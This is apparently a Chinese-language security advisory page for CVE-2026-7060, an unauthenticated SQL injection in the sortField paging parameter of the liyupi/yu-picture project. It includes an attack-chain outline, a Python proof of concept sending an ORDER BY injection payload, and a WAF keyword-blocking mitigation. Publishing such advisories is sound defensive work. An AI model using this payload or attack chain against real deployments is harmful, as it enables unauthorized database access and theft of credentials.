IPBUF安全漏洞报告
English
CVE-2026-7060 CVSS 7.3 高危

CVE-2026-7060: liyupi/yu-picture SQL注入漏洞

披露日期: 2026-04-26

漏洞信息

漏洞编号
CVE-2026-7060
漏洞类型
SQL注入
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
liyupi/yu-picture

相关标签

SQL注入liyupi/yu-pictureMyBatis-Plus远程漏洞高危

漏洞概述

liyupi/yu-picture项目存在高危SQL注入漏洞。该漏洞源于后端组件MyBatis-Plus在处理分页请求时,对PictureServiceImpl.java文件中PageRequest函数的sortField参数缺乏有效过滤。攻击者无需认证即可远程构造恶意Payload进行SQL注入,从而导致数据库敏感信息泄露、数据篡改或服务受损。鉴于项目未使用版本号控制,目前无法确定具体受影响版本,建议用户立即排查并修复。

技术细节

该漏洞发生在liyupi/yu-picture项目的后端服务中,具体涉及文件路径为yu-picture-backend/src/main/java/com/yupi/yupicturebackend/service/impl/PictureServiceImpl.java内的PageRequest方法。在实现分页查询功能时,程序使用了MyBatis-Plus框架。由于代码逻辑缺陷,开发者直接将用户传入的sortField参数拼接到SQL查询语句的ORDER BY子句中,未对该参数进行严格的类型检查或白名单过滤。攻击者可以通过发送包含恶意SQL片段的HTTP请求来触发漏洞。由于CVSS向量显示无需用户交互且无需认证(PR:N),攻击者可轻易通过互联网发起攻击。成功的利用将允许攻击者在数据库上下文中执行任意SQL命令,绕过应用程序的安全机制,直接操作底层数据。

攻击链分析

STEP 1
1. 信息收集
攻击者扫描并识别出互联网上运行liyupi/yu-picture项目的目标服务。
STEP 2
2. 漏洞探测
攻击者向分页接口发送特制的HTTP请求,在sortField参数中注入SQL语法(如单引号或布尔逻辑),观察服务器响应差异以确认漏洞存在。
STEP 3
3. 构造攻击Payload
根据探测结果,攻击者构造更复杂的SQL注入Payload(如UNION查询或盲注语句),旨在提取数据库表结构、管理员密码或敏感数据。
STEP 4
4. 执行攻击
将包含恶意Payload的请求发送至服务器,后端MyBatis-Plus组件直接拼接参数执行SQL语句,导致数据库泄露或被篡改。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def check_sqli(url): # Target endpoint based on the vulnerable component target = f"{url}/api/picture/page" # Payload attempts to inject a conditional statement into the ORDER BY clause # If successful, it may cause a time delay or specific syntax error payload = "id,(SELECT CASE WHEN (1=1) THEN id ELSE (SELECT 1 UNION SELECT 2) END)" params = { "current": 1, "pageSize": 10, "sortField": payload, "sortOrder": "asc" } try: response = requests.get(target, params=params, timeout=10) if response.status_code == 200: print("[+] Request sent successfully, check response for SQL syntax errors or data leakage.") print(response.text[:200]) else: print(f"[-] Unexpected status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": target_url = "http://localhost:8080" check_sqli(target_url)

影响范围

liyupi/yu-picture <= commit a053632c41340152bf75b66b3c543d129123d8ec

防御指南

临时缓解措施
由于项目暂无官方版本号,建议用户手动检查代码中PictureServiceImpl.java的PageRequest方法。临时缓解措施包括在网关或WAF处拦截包含SQL关键字(如UNION, SELECT, CASE WHEN)的sortField参数请求,直至代码修复完成。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表